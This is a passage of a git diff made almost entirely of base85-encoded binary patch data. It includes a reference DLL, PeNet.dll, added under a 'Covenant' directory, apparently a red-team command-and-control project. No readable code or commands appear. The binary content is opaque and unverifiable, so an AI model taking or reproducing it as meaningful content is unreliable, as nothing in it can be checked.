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 UCX)??T9*FVCI3?3{{aR57ZEq`X8-^I literal 0 HcmV?d00001 diff --git a/Covenant/refs/PeNet.dll b/Covenant/refs/PeNet.dll new file mode 100644 index 0000000000000000000000000000000000000000..5df92c4c4aa53d4be85d52d85cd401211487c001 GIT binary patch literal 152576 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 